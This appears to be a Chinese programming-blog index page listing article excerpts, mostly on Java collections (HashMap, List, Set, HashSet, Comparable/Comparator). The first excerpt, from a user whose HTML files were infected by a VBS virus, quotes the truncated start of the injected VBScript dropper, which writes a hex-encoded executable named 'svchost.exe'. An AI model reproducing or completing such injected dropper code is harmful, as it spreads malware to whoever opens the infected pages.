主要是前端时间电脑中了vbs病毒,虽然杀毒了,但是对于html文件,仍然存在大量新增内容 <SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "4D5A90000300000004000000FFFF0000B8 ...
分类:
编程语言 时间:
2018-02-13 12:22:23
阅读次数:
294
本来继List的整理后会继续Collection下面的另一个分支Set的,但是看了下HashSet的实现是基于HashMap的,所以先从Map着手,然后在整理Set的 环境JDK8 一、存储原理 1、HashMap的存储 我们先来看看HashMap的部分实现源码: static final int ...
分类:
其他好文 时间:
2018-02-13 00:11:56
阅读次数:
184
集合:数据结构(数据的组织方式和存储方式)不同导致了集合的不同不同的集合向上抽取最终获得一个Collection集合单列集合: collection List接口 Set接口ArrayList LinkedList HashSet LinkedHashSet双列集合: MapHashMap Link ...
分类:
其他好文 时间:
2018-02-12 23:06:04
阅读次数:
216
 ; public Car(String name, int x, int... ...
分类:
其他好文 时间:
2018-02-09 22:35:16
阅读次数:
200
集合Collection(单列集合)List(有序,可重复)ArrayList底层数据结构是数组,查询快,增删慢线程不安全,效率高Vector底层数据结构是数组,查询快,增删慢线程安全,效率低LinkedList底层数据结构是链表,查询慢,增删快线程不安全,效率高Set(无序,唯一)HashSet底层数据结构是哈希表。哈希表依赖两个方法:hashCode()和equals()执行顺序:首先判断ha
分类:
其他好文 时间:
2018-02-09 22:20:03
阅读次数:
152
相同点:1.comparable和comparator都是用来实现treeset等根据类的自然排序进行排序的集合容器中元素之间的比较,比较算法都是由比较器自己规定不同点:1.comparable是让集合元素自身具备比较性,让元素实现comparable接口,覆盖comparaeTo(To)方法比较此对象与指定对象的顺序。如果该对象小于、等于或大于指定对象,则分别返回负整数、零或正整数。2.comp
分类:
其他好文 时间:
2018-02-09 15:06:23
阅读次数:
177
List接口 List接口是Collection接口的子接口,List接口中的抽象方法,有一部分方法和他的父接口Collection是一样,List接口的自己特有的方法, 带有索引的功能。 它是一个元素存取有序的集合。例如,存元素的顺序是11、22、33。那么集合中,元素的存储就是按照11、22、3 ...
分类:
编程语言 时间:
2018-02-08 13:40:58
阅读次数:
241
HashSet无序(存入和取出的顺序不同),不重复,无索引底层是哈希表结构,也称散列表结构,查找和删除快,添加慢像HashSet中存储自定义对象需要重写hashCode()和equals()方法importjava.util.HashSet;importjava.util.Iterator;/***演示HashSet是如何保证元素的唯一性的*@authorWangShuang**/publiccl
分类:
其他好文 时间:
2018-02-07 16:50:51
阅读次数:
185
对 set 的遍历 1.迭代遍历: Set<String> set = new HashSet<String>(); Iterator<String> it = set.iterator(); while (it.hasNext()) { String str = it.next(); System ...
分类:
其他好文 时间:
2018-02-05 14:16:03
阅读次数:
156